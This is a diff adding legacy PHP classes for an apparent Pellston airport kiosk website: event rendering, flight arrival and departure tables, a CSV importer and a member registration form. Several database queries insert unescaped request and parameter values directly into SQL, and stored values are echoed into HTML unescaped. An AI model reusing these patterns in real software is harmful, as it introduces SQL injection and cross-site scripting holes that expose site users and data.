+ $time = "@ ".$this->format_to_time($row[$i]['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ $event.=$time;
+ }
+ // Location
+ if($row[$i]['loc']!='')
+ {
+ $event.='<div><span class="eventloc">Location: </span><span class="eventvalue">';
+ $event.=$row[$i]['loc'];
+ $event.="</span></div>\n";
+ }
+
+ // URL
+ if($row[$i]['url']!='')
+ {
+ $event.='<div><span class="eventurl">URL: </span><span class="eventvalue">';
+ $event.='<a href="http://'.$row[$i][url].'" target="_blank">'.$row[$i][url].'</a>';
+ $event.="</span></div>\n";
+ }
+ // FILE
+ if($row[$i]['file']!='')
+ {
+ $filename = ($row[$i]['filename']) ? $row[$i]['filename'] : $row[$i]['file'];
+ $event.='<div><span class="eventurl">File:</span><span class="eventvalue">';
+ $event.='<a href="'.BASE_URL.'uploads/'.$row[$i]["file"].'" target="_blank">'.$filename.'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Image
+ if($row[$i]['img']!='')
+ {
+ $image = $row[$i]['img'];
+ if( is_file( ORIGINAL_PATH.$image ) )
+ {
+ $size = getImageSize( ORIGINAL_PATH.$image );
+ $width = $size[0];
+ $height = $size[1];
+ }
+ $event.='<div class="eventimg1">
+ <img alt="'.$image.'" title="'.$image.'" src="'.MIDSIZED.$image.'" border="0">
+ </div>'."\n";
+ }
+
+ // Description
+ if($row[$i]['descr']!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.= $this->keyword_replace( $row[$i]['descr'] )."<BR>";
+ $event.="</div>\n";
+ }
+
+
+ // Description2
+ if($row[$i]['descr2']!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.= $this->keyword_replace( $row[$i]['descr2'] )."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Image
+ if($row[$i]['img2']!='')
+ {
+ $event.='<div class="eventimg2"><img src="'.THUMB.$row[$i]['img2'].'"></div>'."\n";
+ }
+ // Image
+ if($row[$i]['img3']!='')
+ {
+ $event.='<div class="eventimg3"><img src="'.THUMB.$row[$i]['img3'].'"></div>'."\n";
+ }
+
+ // Description3
+ if($row[$i]['descr3']!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.= $this->keyword_replace( $row[$i]['descr3'] )."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Contact
+ if($row[$i]['contact']!='')
+ {
+ $event.='<div><span class="eventcontact">Contact Information: </span><br><span class="eventvalue">';
+ $event.=$row[$i]['contact'];
+ $event.="</span></div>\n";
+ }
+
+ // E-mail
+ if($row[$i]['email']!='')
+ {
+ $event.='<div><span class="eventemail">E-Mail: </span><span class="eventvalue">';
+ $event.='<a href="mailto:'.$row[$i]["email"].'">'.$row[$i]["email"].'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Phone
+ if($row[$i]['phone']!='')
+ {
+ $event.='<div><span class="eventphone">Phone: </span><span class="eventvalue">';
+ $event.=$row[$i]['phone'];
+ $event.="</span></div>\n";
+ }
+
+
+
+ $event .= '<div class="clearer"></div>';
+ //Seperator
+ // $event.="<span class=\"bold\"><hr></hr></span>";
+ }
+ $event.="</div>";
+ return $event;
+ }
+
+ /**
+ * Grab the event row from database and return data array.
+ * @uses DB::db_auto_get_data
+ * @return array
+ */
+ function get_event_by_id($id)
+ {
+ // method fetches events based on event id
+ /*
+ id | integer
+ topicid | integer
+ bdate | date
+ edate | date
+ loc | text
+ header | text
+ descr | text
+ img | text
+ url | text
+ contact | text
+ phone | text
+ email | text
+ btime | text
+ etime | text
+ visable | boolean
+ home | boolean
+ ds | timestamp without time zone
+ daysow | integer
+ reacur | boolean
+ weekom | text
+ */
+ $query = "SET DATESTYLE TO 'SQL,US';
+ SELECT header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,phone,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't' AND id=$id";
+ $events_data = $this->DB->db_auto_get_data($query);
+ return $events_data;
+ }
+
+ /**
+ * format_to_time:
+ * @param $time:
+ * @return string
+ **/
+ function format_to_time($time)
+ {
+ return($time);
+
+ $timestamp = strtotime("today $time");
+ $newtime = date("g:i A",$timestamp);
+ return($newtime);
+ }
+ /**#@-*/
+}
+?>
--- /dev/null
+<?php
+ class glm_flight {
+ /**
+ * toolbox
+ *
+ * @var mixed
+ * @access public
+ */
+ var $toolbox;
+ /**
+ * DB
+ *
+ * @var mixed
+ * @access public
+ */
+ var $DB;
+ /**
+ * arr_data
+ *
+ * @var mixed
+ * @access public
+ */
+ var $arr_data;
+ /**
+ * dep_data
+ *
+ * @var mixed
+ * @access public
+ */
+ var $dep_data;
+ /**
+ * airports
+ *
+ * @var mixed
+ * @access public
+ */
+ var $airports;
+ /**
+ * time_codes
+ *
+ * @var mixed
+ * @access public
+ */
+ var $time_codes;
+ /**
+ * last_updated
+ *
+ * @var mixed
+ * @access public
+ */
+ var $last_updated;
+ /**
+ * glm_flight
+ *
+ * @param mixed $toolbox
+ * @access public
+ * @return string
+ */
+ function glm_flight( &$toolbox )
+ {
+ $this->toolbox = &$toolbox;
+ $this->DB =& $toolbox->DB;
+ $this->airports = array('DTW'=>'Detroit Metro','PLN'=>'Pellston');
+ $this->time_codes = array('A'=>'Actual','E'=>'Estimated','D'=>'Descision','S'=>'Scheduled','R'=>'In-range');
+ }
+
+ function get_airports( $code )
+ {
+ $return = false;
+ $query = "select * from airport where code = '$code'";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ $return = array(
+ 'city'=>$data[0]['city'],
+ 'state'=>$data[0]['state'],
+ 'name'=>$data[0]['name']
+ );
+ }
+ return( $return );
+ }
+ /**
+ * get_flight_data
+ *
+ * @access public
+ * @return string
+ */
+ function get_flight_data()
+ {
+ $this->get_arr_flight_data();
+ $this->get_dep_flight_data();
+
+ foreach( $this->arr_data as $key=>$row )
+ {
+ $update_times[] = strtotime($value['msg_dtm']);
+ if ($row['name'] == "EXPRESS AIRLINES 1, INC.") $this->arr_data[$key]['name'] = 'Delta Airlines';
+ if ($row['airline'] == "EXPRESS AIRLINES 1, INC.") $this->arr_data[$key]['airline'] = 'Delta Airlines';
+ }
+ foreach( $this->dep_data as $key=>$row )
+ {
+ $update_times[] = strtotime($row['msg_dtm']);
+ if ($row['name'] == "EXPRESS AIRLINES 1, INC.") $this->dep_data[$key]['name'] = '<nobr>Delta Airlines</nobr>';
+ if ($row['airline'] == "EXPRESS AIRLINES 1, INC.") $this->dep_data[$key]['airline'] = '<nobr>Delta Airlines</nobr>';
+ }
+ rsort(&$update_times);
+ // get UTC offset for current date/time
+ $TimeDiff = 4+date("I");
+ $this->last_updated = '<div id="last-update"><p> </p><p><b>Last updated:</b> '.date("n/j/Y g:i a",$update_times[0]-($TimeDiff*60*60)).'</p></div>';
+ //echo '<!--<pre>';
+ //print_r( $update_times );
+ //echo '</pre>-->';
+ }
+
+ /**
+ * get_arr_flight_data
+ *
+ * @access public
+ * @return string
+ */
+ function get_arr_flight_data()
+ {
+ $query = "select *, name AS airline from flight, airlinecodes where flt_orig_date = current_date and flt_leg_dest = 'PLN' and airlinecodes.code = flt_airline order by cur_in_time;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ $this->arr_data = $data;
+ }
+ }
+
+ /**
+ * get_dep_flight_data
+ *
+ * @access public
+ * @return string
+ */
+ function get_dep_flight_data()
+ {
+ $query = "select *, name AS airline from flight, airlinecodes where flt_orig_date = current_date and flt_leg_orig = 'PLN' and airlinecodes.code = flt_airline order by cur_dep_time;";
+ if( $data = $this->DB->db_auto_get_data( $query ) )
+ {
+ $this->dep_data = $data;
+ }
+ }
+
+ /**
+ * format_time
+ *
+ * @param mixed $time
+ * @access public
+ * @return string
+ */
+ function format_time( $time )
+ {
+ $timestamp = strtotime( 'now '.$time );
+ $newtime = date('g:i A',$timestamp);
+ return( $newtime );
+ }
+
+ /**
+ * build_arrivals
+ *
+ * @access public
+ * @return string
+ */
+ function build_arrivals()
+ {
+ if( is_array( $this->arr_data ) )
+ {
+ $out = '
+ <table id="flight-arrivals">';
+ $out .= '
+ <tr>
+ <th>From</th>
+ <th>Flight</th>
+ <th>Time</th>
+ <th>Status</th>
+ </tr>
+ ';
+ foreach( $this->arr_data as $row )
+ {
+ $airport = $this->get_airports( $row["flt_leg_orig"] );
+ $airport_text = $airport["name"].' '.$airport["city"];
+ $airport_text .= ( $airport["state"] ) ? ','.$airport["state"]:'';
+ $out .= '
+ <tr>
+ <td>'.$airport_text.'</td>
+ <td>'.$row["airline"].' '.$row["flt_numb"].'</td>
+ <td>'.$this->format_time( $row["cur_in_time"] ).' '.$this->time_codes[$row["cur_in_time_code"]].'</td>
+ <td><nobr>'.$row["remarks"].'</nobr></td>
+ </tr>
+ ';
+ }
+ $out .= '</table>
+ ';
+ }
+ return( $out );
+ }
+
+ /**
+ * build_departures
+ *
+ * @access public
+ * @return string
+ */
+ function build_departures()
+ {
+ if( is_array( $this->dep_data ) )
+ {
+ $out = '
+ <table id="flight-departures">';
+ $out .= '
+ <tr>
+ <th>Destination</th>
+ <th>Flight</th>
+ <th>Time</th>
+ <th>Status</th>
+ </tr>
+ ';
+ foreach( $this->dep_data as $row )
+ {
+ $airport = $this->get_airports( $row["flt_leg_dest"] );
+ $airport_text = $airport["name"].' '.$airport["city"];
+ $airport_text .= ( $airport["state"] ) ? ','.$airport["state"]:'';
+ $out .= '
+ <tr>
+ <td>'.$airport_text.'</td>
+ <td>'.$row["airline"].'<br>'.$row["flt_numb"].'</td>
+ <td>'.$this->format_time( $row["cur_dep_time"] ).' '.$this->time_codes[$row["cur_dep_time_code"]].'</td>
+ <td><nobr>'.$row["remarks"].'</nobr></td>
+ </tr>
+ ';
+ }
+ $out .= '</table>
+ ';
+ }
+ return( $out );
+ }
+ }
+?>
--- /dev/null
+<?php
+/**
+ * Import Library
+ *
+ * GLM_IMPORT will take a file and import it into a Postgres database
+ * <ol> each line must have only one record </ol>
+ * <ol> each record must only be on one line</ol>
+ * <ol> the first line must have the field names Quoted </ol>
+ * <ol> fields must be quoted when they have single quotes in them</ol>
+ * <ol> fields must be seperated by a comma</ol>
+ *
+ * @package Toolbox Library
+ * @subpackage DB_import Library
+ * @filesource
+ *
+ */
+/**
+ * Import Library
+ *
+ * GLM_IMPORT will take a file and import it into a Postgres database
+ * <ol> each line must have only one record </ol>
+ * <ol> each record must only be on one line</ol>
+ * <ol> the first line must have the field names Quoted </ol>
+ * <ol> fields must be quoted when they have single quotes in them</ol>
+ * <ol> fields must be seperated by a comma</ol>
+ *
+ * @package Toolbox Library
+ * @subpackage DB_import Library
+ *
+ */
+class GLM_IMPORT
+ {
+ /** @var file string name of the file to import */
+ var $file;
+ /** @var host string name of host server */
+ var $host;
+ /** @var string dbname name of te database */
+ var $dbname;
+ /** @var user */
+ var $user;
+ /** @var password */
+ var $password;
+ /** @var data array the contents of the file in an array */
+ var $data;
+ /** @var conn object database connect object */
+
+ /** GLM_IMPORT
+ class constructor
+ this is called an initialization
+ */
+ function GLM_IMPORT($file,$host,$dbname,$user="nobody",$password="",$debugMode=NULL)
+ {
+
+ $this->file = $file;
+ $this->host = $host;
+ $this->dbname = $dbname;
+ $this->user = $user;
+ $this->password = $password;
+ $this->debugMode = $debugMode;
+ $this->readFile();
+ // $this->connect();
+ // $this->startImport();
+ // $this->sendImport();
+ // $this->endImport();
+
+ }
+
+ /** connect
+ Start the postgres connect
+ */
+ function connect()
+ {
+ if($this->host)
+ $host = "host=".$this->host;
+ if($this->dbname)
+ $dbname = "dbname=".$this->dbname;
+ if($this->user)
+ $user = "user=".$this->user;
+ if($this->password)
+ $password = "password=".$this->password;
+ $this->conn = pg_connect("$host $dbname $user $password");
+ }
+
+ /** readFile
+ read the csv file into an array
+ using the first line as key values
+ */
+ function readFile()
+ {
+ $row = 0;
+ $handle = fopen ($this->file,"r");
+ while ($data = fgetcsv ($handle, 1000, ","))
+ {
+ if($row == 0){
+ // set the varible array
+ $num = count ($data);
+ $csvNames = array();
+ for ($c=0; $c < $num; $c++)
+ {
+ $csvNames[$c] = $data[$c];
+ $data[$c] = array();
+ }
+ $row = 1;
+ }else{
+ $num = count ($data);
+ $row++;
+ for ($c=0; $c < $num; $c++)
+ {
+ $data1[($row - 1 )][$csvNames[$c]] = $data[$c];
+ }
+ }
+ }
+ fclose ($handle);
+ $this->data = $data1;
+ if($this->debugMode == true)
+ {
+ echo "<pre>";
+ print_r($this->data);
+ echo "</pre>";
+ }
+ }
+
+ }
+?>
--- /dev/null
+<?php
+ /**
+ * @require block
+ */
+ require_once(BASE.'classes/class_contact_form.inc');
+ /**
+ * @require_block
+ */
+ require_once(BASE.'classes/class_ccauth.inc');
+ /**
+ * member_form
+ *
+ * @uses contact_form
+ * @uses ccauth
+ * @package
+ * @version $id$
+ * @copyright 2006 Gaslight Media
+ * @author Steve Sutton <steve@gaslightmedia.com>
+ * @license
+ */
+ class member_form extends contact_form{
+ /**
+ * DB_fields
+ *
+ * @var mixed
+ * @access public
+ */
+ var $DB_fields;
+ /**
+ * toolbox
+ *
+ * @var mixed
+ * @access public
+ */
+ var $toolbox;
+ /**
+ * DB
+ *
+ * @var mixed
+ * @access public
+ */
+ var $DB;
+ /**
+ * CC_Auth
+ *
+ * @var mixed
+ * @access public
+ */
+ var $CC_Auth;
+ /**
+ * price
+ *
+ * @var mixed
+ * @access public
+ */
+ var $price;
+ /**
+ * contact_form
+ *
+ * @param mixed $toolbox
+ * @access public
+ * @return string
+ */
+ function member_form( &$toolbox )
+ {
+ $this->price = '50.00';
+ $this->toolbox =& $toolbox;
+ $this->CDB =& $toolbox->DB;
+ $this->CC_Auth =& new ccauth();
+ $this->set_DB_fields();
+ $this->email = 'pellstonkiosk@emmetcounty.org';//OWNER_EMAIL; // email address for mail function
+ $this->table_name = 'member'; // the contact table
+ $this->styleLabel = "labelcell"; // css style for the labelcell
+ $this->fieldcell = "fieldcell"; // css style for the field input
+ $this->instructioncell = "instructioncell"; // css style for the field input
+ $this->submit_value = 'Become a Registered Member';
+ $this->subject = 'Registration Request from website '.SITENAME;
+ $this->contact_db = 1; // if they have contact database or not
+ $this->get_form(); // the whole thing runs upon class creation
+ }
+
+ /**
+ * hotel_cat_array
+ *
+ * @access public
+ * @return string
+ */
+ function hotel_cat_array()
+ {
+ static $hotel_cat;
+ if( !is_array( $hotel_cat ) )
+ {
+ $query = "select * from hotel_cat order by name;";
+ if( $data = $this->CDB->db_auto_get_data( $query ) )
+ {
+ $hotel_cat[''] = '';
+ foreach( $data as $row )
+ {
+ $hotel_cat[$row['id']] = $row['name'];
+ }
+ }
+ }
+ return( $hotel_cat );
+ }
+
+ /**
+ * memb_type_array
+ *
+ * @access public
+ * @return string
+ */
+ function memb_type_array()
+ {
+ static $memb_type;
+ if( !is_array( $memb_type ) )
+ {
+ $query = "select * from memb_type order by name;";
+ if( $data = $this->CDB->db_auto_get_data( $query ) )
+ {
+ $memb_type[''] = '';
+ foreach( $data as $row )
+ {
+ $memb_type[$row['id']] = $row['name'];
+ }
+ }
+ }
+ return( $memb_type );
+ }
+
+ /**
+ * prop_type_array
+ *
+ * @access public
+ * @return string
+ */
+ function prop_type_array()
+ {
+ static $prop_type;
+ if( !is_array( $prop_type ) )
+ {
+ $query = "select * from prop_type order by name;";
+ if( $data = $this->CDB->db_auto_get_data( $query ) )
+ {
+ $prop_type[''] = '';
+ foreach( $data as $row )
+ {
+ $prop_type[$row['id']] = $row['name'];
+ }
+ }
+ }
+ return( $prop_type );
+ }
+
+ /**
+ * get_country_array
+ *
+ * @access public
+ * @return string
+ */
+ function get_country_array()
+ {
+ return( array('United States'=>'United States','Canada'=>'Canada') );
+ }
+
+ function cc_type()
+ {
+ //Visa~Mastercard~Discover~American Express~Diner's Club
+ return( array('Visa'=>'Visa','Mastercard'=>'Mastercard') );
+ }
+
+ function credit_card_types()
+ {
+ //Visa~Mastercard~Discover~American Express~Diner's Club
+ return( array('Visa','Mastercard','Discover','American Express','Diner\'s Club') );
+ }
+
+ function get_accom_bool()
+ {
+ static $accom;
+ if( !is_array( $accom ) )
+ {
+ $accom['restnear'] = 'Restaurant Nearby?';
+ $accom['indoor_pool'] = 'Indoor Pool?';
+ $accom['outdoor_pool'] = 'Outdoor Pool?';
+ $accom['whirlpool'] = 'Whirlpool?';
+ $accom['exercise'] = 'Exercise Room?';
+ $accom['waterfront'] = 'On the Water Location?';
+ $accom['conference'] = 'Conference Facilities?';
+ $accom['meeting'] = 'Meeting Room?';
+ $accom['restaurant'] = 'Restaurant on site?';
+ $accom['breakfast'] = 'Breakfast Available?';
+ $accom['tv'] = 'TV?';
+ $accom['Cable'] = 'Cable?';
+ $accom['sauna'] = 'Sauna?';
+ $accom['movies'] = 'Movies?';
+ $accom['pets'] = 'Pets?';
+ $accom['beachaccess'] = 'Sandy Beach Access?';
+ $accom['eff'] = 'Efficiences?';
+ $accom['barrierfree'] = 'Barrier Free?';
+ $accom['smokefree'] = 'Smoke Free Rooms?';
+ }
+ return( $accom );
+ }
+
+ /**
+ * set_DB_fields
+ *
+ * @access public
+ * @return string
+ */
+ function set_DB_fields()
+ {
+ $cvv_instructions = '<tr><td><div style="display:block; float:left;">
+<script language="JavaScript"
+src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js"
+type="text/javascript"></script>
+<script language="JavaScript" type="text/javascript">
+SiteSeal("https://seal.networksolutions.com/images/basicsqblue.gif",
+"NETSB", "none");</script>
+
+</div></td><td>Our secure web pages are being hosted by Gaslight Media, who use a SSL Certificate to ensure secure
+transmission of your information. </td> </tr>';
+ $more_inst = '<tr><td colspan="2"><a href="javascript:popUp(\''.BASE_SECURE_URL.'templates/cvv_code.phtml\')">"What is This?"</a><br> CC & C V V numbers are not kept on our servers.</td></tr>';
+ $Zinst = 'Not a valid ZIP Code';
+ $Einst = 'You need to enter a valid email address';
+ $Usinst = 'Empty or Member ID already in use';
+ $memb_fields[] = array('title'=>'Member Information','type'=>'fieldset_start');
+ $memb_fields[] = array('name'=>'name','title'=>'Business Name:','type'=>'text','req'=>1);
+ $memb_fields[] = array('name'=>'memb_type','title'=>'Business Type:','type'=>'drop','drop'=>$this->memb_type_array());
+ // $memb_fields[] = array('name'=>'prop_type','title'=>'Property Type:','type'=>'drop','drop'=>$this->prop_type_array());
+ // $memb_fields[] = array('name'=>'hotel_cat','title'=>'Hotel Category:','type'=>'drop','drop'=>$this->hotel_cat_array());
+ $memb_fields[] = array('name'=>'user_id','title'=>'User ID:','type'=>'text','req'=>1,'inst'=>$Usinst);
+ $memb_fields[] = array('name'=>'user_pw','title'=>'User Password:','type'=>'text','req'=>1);
+ $memb_fields[] = array('name'=>'address','title'=>'Address:','type'=>'text','req'=>1);
+ $memb_fields[] = array('name'=>'city','title'=>'City:','type'=>'text','req'=>1);
+ $memb_fields[] = array('name'=>'state','title'=>'State:','type'=>'state','req'=>1);
+ $memb_fields[] = array('name'=>'zip','title'=>'Zip:','type'=>'text','req'=>1,'inst'=>$Zinst);
+ $memb_fields[] = array('name'=>'country','title'=>'Country:','type'=>'drop','drop'=>$this->get_country_array(),'req'=>1);
+ $memb_fields[] = array('name'=>'phone','title'=>'Phone:','type'=>'text','req'=>1);
+ $memb_fields[] = array('name'=>'kiosk_phone','title'=>'Kiosk Phone:<br>(must be toll-free or local to Pellston)','type'=>'text','req'=>0);
+ $memb_fields[] = array('name'=>'toll_free','title'=>'Toll Free:','type'=>'text');
+ $memb_fields[] = array('name'=>'fax','title'=>'Fax:','type'=>'text');
+ $memb_fields[] = array('name'=>'email','title'=>'E-Mail Address:','type'=>'text','inst'=>$Einst,'vtype'=>'email');
+ $memb_fields[] = array('name'=>'proc_email','title'=>'Contact E-Mail Address:','type'=>'text','inst'=>$Einst,'vtype'=>'email','req'=>1);
+ $memb_fields[] = array('name'=>'url','title'=>'Web Site URL:','type'=>'text');
+ $memb_fields[] = array('name'=>'descr','title'=>'Description:','type'=>'desc');
+ $memb_fields[] = array('name'=>'image1','title'=>'Image #1:','type'=>'img');
+ $memb_fields[] = array('name'=>'image_text1','title'=>'Image #1 Text:','type'=>'text');
+ $memb_fields[] = array('name'=>'image2','title'=>'Image #2:','type'=>'img');
+ $memb_fields[] = array('name'=>'image_text2','title'=>'Image #2 Text:','type'=>'text');
+ $memb_fields[] = array('name'=>'image3','title'=>'Image #3:','type'=>'img');
+ $memb_fields[] = array('name'=>'image_text3','title'=>'Image #3 Text:','type'=>'text');
+ $memb_fields[] = array('title'=>'','type'=>'fieldset_end');
+ $memb_fields[] = array('title'=>'For Accomodations Only','type'=>'fieldset_start');
+ $memb_fields[] = array('title'=>'Amenities:','type'=>'multi_check','drop'=>$this->get_accom_bool());
+ // $memb_fields[] = array('name'=>'season','title'=>'Season (leave blank for year round):','type'=>'text');
+ // $memb_fields[] = array('name'=>'waterview','title'=>'Water View?','type'=>'check');
+ // $memb_fields[] = array('name'=>'restnear','title'=>'Restaurant Nearby?','type'=>'check');
+ // $memb_fields[] = array('name'=>'restadj','title'=>'Restaurant Adj.?','type'=>'check');
+ // $memb_fields[] = array('name'=>'indoor_pool','title'=>'Indoor Pool?','type'=>'check');
+ // $memb_fields[] = array('name'=>'outdoor_pool','title'=>'Outdoor Pool?','type'=>'check');
+ // $memb_fields[] = array('name'=>'whirlpool','title'=>'Whirlpool?','type'=>'check');
+ // $memb_fields[] = array('name'=>'exercise','title'=>'Exercise Room?','type'=>'check');
+ // $memb_fields[] = array('name'=>'waterfront','title'=>'On the Water Location?','type'=>'check');
+ // $memb_fields[] = array('name'=>'conference','title'=>'Conference Facilities?','type'=>'check');
+ // $memb_fields[] = array('name'=>'meeting','title'=>'Meeting Room?','type'=>'check');
+ // $memb_fields[] = array('name'=>'restaurant','title'=>'Restaurant on site?','type'=>'check');
+ // $memb_fields[] = array('name'=>'breakfast','title'=>'Breakfast Available?','type'=>'check');
+ // $memb_fields[] = array('name'=>'tv','title'=>'TV?','type'=>'check');
+ // $memb_fields[] = array('name'=>'Cable','title'=>'Cable?','type'=>'check');
+ // $memb_fields[] = array('name'=>'entertainment','title'=>'Entertainment?','type'=>'check');
+ // $memb_fields[] = array('name'=>'snowmobile_tr','title'=>'Smowmobile Trial?','type'=>'check');
+ // $memb_fields[] = array('name'=>'sauna','title'=>'Sauna?','type'=>'check');
+ // $memb_fields[] = array('name'=>'movies','title'=>'Movies?','type'=>'check');
+ // $memb_fields[] = array('name'=>'pets','title'=>'Pets?','type'=>'check');
+ // $memb_fields[] = array('name'=>'beachaccess','title'=>'Sandy Beach Access?','type'=>'check');
+ // $memb_fields[] = array('name'=>'bridgeview','title'=>'Bridge View?','type'=>'check');
+ // $memb_fields[] = array('name'=>'eff','title'=>'Efficiences?','type'=>'check');
+ // $memb_fields[] = array('name'=>'num_rooms','title'=>'Number of Rooms:','type'=>'text');
+ $memb_fields[] = array('name'=>'credit_cards','title'=>'Credit Cards Accepted:','type'=>'cc_types','drop'=>$this->credit_card_types());
+ // $memb_fields[] = array('name'=>'barrierfree','title'=>'Barrier Free?','type'=>'check');
+ // $memb_fields[] = array('name'=>'smokefree','title'=>'Smoke Free Rooms?','type'=>'check');
+ $memb_fields[] = array('type'=>'fieldset_end');
+
+// $memb_fields[] = array('title'=>'Payment Details','type'=>'fieldset_start');
+// $memb_fields[] = array('name'=>'cc_name','title'=>'Name on Credit Card','type'=>'text','req'=>1);
+// $memb_fields[] = array('name'=>'cc_num','title'=>'Number on Credit Card','type'=>'text','req'=>1,'extra'=>$cvv_instructions);
+// $memb_fields[] = array('name'=>'cc_type','title'=>'Type of Credit Card','type'=>'drop','drop'=>$this->cc_type(),'req'=>1);
+// $memb_fields[] = array('name'=>'cc_code','title'=>'CVV code','type'=>'text','req'=>1,'extra'=>$more_inst);
+// $memb_fields[] = array('name'=>'cc_expire','title'=>'Expiration Date of Credit Card','type'=>'cc_date','req'=>1);
+// $memb_fields[] = array('title'=>'','type'=>'fieldset_end');
+ $this->DB_fields = &$memb_fields;
+ }
+ /**
+ * form_process: process the form checking for any required form values as set up in the
+ * DB_fields array.
+ *
+ * @return error array if bad
+ * @access public
+ **/
+ function form_process()
+ {
+ $ban_words[] = "content-type";
+ $ban_words[] = "content-transfer-encoding";
+ $ban_words[] = "mime-version";
+ $ban_words[] = "cc\:";
+ $ban_words[] = "bcc\:";
+
+ if( is_array($_POST) ) {
+ foreach( $_POST as $k => $v ){
+ if( $v && !is_array( $v ) ){
+ $temp = trim(stripslashes($v));
+ $temp = str_replace("\n","",$temp);
+ $temp = str_replace('"','',$temp);
+ $_POST[$k] = $temp;
+ foreach($ban_words as $word) {
+ // don't check comment or comments field for a return
+ if( ($k == 'comments' || $k == 'comment') && $word == "\r" ){
+ }else{
+ $wordstr = "/$word/i";
+ if(trim($word) != '' && preg_match($wordstr,$v)) {
+ // set warning message
+ $error[$k] = 1;
+ foreach($this->DB_fields as $dk => $dv){
+ if( $dv['name'] == $k ){
+ $this->DB_fields[$dk]['inst'] = htmlspecialchars($word).' not allowed here!';
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+ $data_fields = $this->get_db_fields();
+
+ $error = $this->check_valid_fields();
+ if( !$error )
+ {
+
+ foreach( $this->DB_fields as $value )
+ {
+ if( $value['name'] == 'user_id' && $_POST['user_id'] )
+ {
+ $user_id = ereg_replace("'\"", "", trim($_POST['user_id']));
+ $query2 = "select id from member where trim(user_id) = '$user_id'";
+ if( $data = $this->CDB->db_auto_get_data( $query2 ) )
+ {
+ if( count( $data ) >= 1 )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ }
+ if( $value['type'] == 'interest' )
+ {
+ $db_interest_field = $value['name'];
+ }
+ if( $value['name'] == 'proc_email' && $_POST[$value['name']] )
+ {
+ if( !GLM_TOOLBOX::valid_email( $_POST[$value['name']], true ) )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ if( $value['name'] == 'email' && $_POST[$value['name']] )
+ {
+ if( !GLM_TOOLBOX::valid_email( $_POST[$value['name']], true ) )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+ if( $value['name'] == 'lname' || $value['name'] == 'fname' )
+ {
+ if( strstr( $_POST[$value['name']], "\n" ) )
+ {
+ $error[$value['name']] = 1;
+ }
+ }
+// if( $value['name'] == 'zip' && $_POST['zip'] != '' )
+// {
+// $query = "select state from zip where zipcode = '".$_POST['zip']."';";
+// $zipDB =& new GLM_DB();
+// $zipDB->host = 'ds4.gaslightmedia.com';
+// $zipDB->dbname = 'zip_v2';
+// $zipDB->user = 'nobody';
+// $zipDB->conn = 0;
+// if( $res = $zipDB->db_auto_get_data( $query ) )
+// {
+// if( count( $res ) == 0 )
+// {
+// if( $value['req'] == 1)
+// {
+// $error[$value['name']] = 1;
+// }
+// }
+// }
+// else
+// {
+// if( $value['req'] == 1 && $_POST[$value['name']] == "")
+// {
+// $error[$value['name']] = 1;
+// }
+// }
+// }
+ if( $value['req'] == 1 && $_POST[$value['name']] == "")
+ {
+ $error[$value['name']] = 1;
+ }
+ /*
+ echo '<pre>';
+ print_r( $data_fields );
+ echo '</pre>';
+ exit();
+ */
+ if( is_array( $data_fields ) && in_array( $value['name'], $data_fields ) || $value['type'] == 'multi_check' )
+ {
+ if( $value['type'] == "interest" && is_array( $_POST['interest']) )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = ':'.implode(":",$_POST['interest']).':';
+ $_POST['interest'] = ':'.implode(":",$_POST['interest']).':';
+ }
+ elseif( in_array( $value['name'], array('memb_type','prop_type','hotel_cat') ) )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = is_numeric($_POST[$value['name']])?$_POST[$value['name']]:'NULL';
+ }
+ elseif( $value['type'] == 'cc_types' )
+ {
+ $in_fields[] = $value['name'];
+ $b = 0; // Start with clear bitmap
+ for( $i=0 ; $i<16 ; $i++ ) // Bitmaps are 16 bit for now
+ {
+ if( $_POST[$value['name']][$i] ) // If checked
+ {
+ $b = $b + pow(2,$i); // Set bit
+ }
+ }
+ $in_vars[] = $b;
+ }
+ elseif( $value['type'] == 'img' )
+ {
+ // ignore it
+ }
+ elseif( $value['type'] == 'multi_check' )
+ {
+ if( is_array( $value['drop'] ) )
+ {
+ foreach( $value['drop'] as $chKey => $chVal )
+ {
+ $in_fields[] = $chKey;
+ $in_vars[] = ( $_POST[$chKey] == 't' ) ? 't': 'f';
+ }
+ }
+ }
+ elseif( $value['type'] == 'radio' || $value['type'] == 'check' )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = ( $_POST[$value['name']] == 't' ) ? 't': 'f';
+ }
+ elseif($value['name'] != "comments" && $value['name'] != 'verify_email' )
+ {
+ $in_fields[] = $value['name'];
+ $in_vars[] = addslashes(trim($_POST[$value['name']]));
+ }
+ }
+ }
+ }
+ if(count($error) > 0)
+ {
+ return($error);
+ }
+ $id = NULL;
+ // process credit card info
+ // undo the payment option FREE
+// if( $this->CC_Auth->run_card( $this->price ) )
+// {
+ if( is_array( $_FILES ) )
+ {
+ foreach( $_FILES as $file_name => $upload_files )
+ {
+ if( $upload_files['name'] != '' )
+ {
+ $up_file_name = process_image( $upload_files['tmp_name'],$upload_files['name'] );
+ $in_fields[$file_name] = $file_name;
+ $in_vars[$file_name] = $up_file_name;
+ }
+ }
+ }
+ // check for existing user_id
+ $query = "select id from ".$this->table_name." where user_id = '".$_POST['user_id']."';";
+ if( $data = $this->CDB->db_auto_get_data( $query ) )
+ {
+ $id = $data[0]['id'];
+ }
+ if( !is_numeric( $id ) && is_array( $in_fields ) && is_array( $in_vars ) )
+ {
